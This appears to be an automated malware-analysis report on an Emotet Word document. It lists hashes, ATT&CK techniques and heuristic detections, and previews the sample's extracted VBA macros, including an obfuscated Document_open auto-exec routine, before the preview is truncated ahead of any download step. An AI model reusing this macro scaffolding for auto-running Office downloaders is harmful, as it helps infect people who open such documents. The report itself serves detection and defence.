Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b43988d1caef3506…

MALICIOUS

Office (OLE)

259.4 KB Created: 2020-02-05 20:35:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: 24f426aa2750b1e1b1a13e46eded654a SHA-1: 0b8b827e0f5a06a52cc84781e43a7c8b365bf365 SHA-256: b43988d1caef3506bdd809a58933caa2e6fb98eeba4f23aab484d84e729b45b3
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros, including a Document_Open macro, which is a common technique for Emotet. Critical heuristics indicate a hidden-property command stager and auto-execution of code. ClamAV detection explicitly names this as an Emotet downloader. The VBA script likely downloads and executes a second-stage payload, consistent with Emotet's behavior.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7577854-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7577854-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12044 bytes
SHA-256: 1a5fc5638d6560234e96704acd79513dd66d15c5fa0bd43c24e5cc8fd0f8dc9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Odpopwtvlbhmm"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))
End If
If 652876 <> 638715 Then
kCaNMHSLoI = 652876 + 1989
wotfNMaeGj = 638715 - 2013
Else
MsgBox (CStr(kCaNMHSLoI) & CStr(wotfNMaeGj))
End If
tsLoloMiuj = "NrcsBxBsra"
aBVWmdVFlU = 675836
Cvrwzrwq.Qaufivqoafuo
End Sub

Attribute VB_Name = "Nbdumjvcwg"
Attribute VB_Base = "0{F9B9F896-3610-4C6F-8563-400D9CA63EF0}{981D4AE2-F848-4838-A784-8914E7332212}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Higctqtpwnrx"
Attribute VB_Base = "0{94C61839-5A7D-4427-BBDD-F147FC85AD13}{AE29405F-3D7C-4488-916C-AC5FA60A052F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Afkxtnfyw()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Inmyknobkjdya"
Attribute VB_Base = "0{ED9C0E88-090A-480E-A2B5-3202F7D2F2A7}{4C87C85F-199C-4186-8EF6-FD02E8679A1A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Iintyarxj()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Fatmimwd"
Attribute VB_Base = "0{BEE40780-70D8-4B0F-BD2F-75DCD36C30E9}{0879B15B-9F73-4EDB-95B5-E59115CB5A9D}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Hrmzdvrx()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Jdmfxlclz"
Attribute VB_Base = "0{664777BE-8526-40A1-8D35-89B7B0E80C50}{13EDF3A9-27E1-4E7B-9973-759A41942FBF}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Cvjhnhybrbx()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Brbuveza"
Attribute VB_Base = "0{321ACFB1-C35E-48EC-8819-904E45F72615}{D0102E7C-F0FF-4439-971A-31BF332DB4D2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Qbnopxkleumew()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Pntvffmviefj"
Attribute VB_Base = "0{21B7C918-ADBC-47B3-8D0B-7A30D79062AE}{C9201798-9ACD-4DDA-AB3D-C8224482892B}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Urqqysfatie()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Toswvybfrfe"
Attribute VB_Base = "0{E3311ACB-3CAD-4CB9-99E0-8FCAC5E968B0}{29FA364E-8072-4103-AB8A-C0F60E6DCA8C}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub Egekkncvjcv()
Debug.Print "NXBUWWD" + DDD + "pOLON"
End Sub

Attribute VB_Name = "Cvrwzrwq"
Function Qaufivqoafuo()
   If 954823 <> 921852 Then
PPsHdEiCQI = 954823 + 1989
zZvINqIOhf = 921852 - 2013
Else
MsgBox (CStr(PPsHdEiCQI) & CStr(zZvINqIOhf))

... (truncated)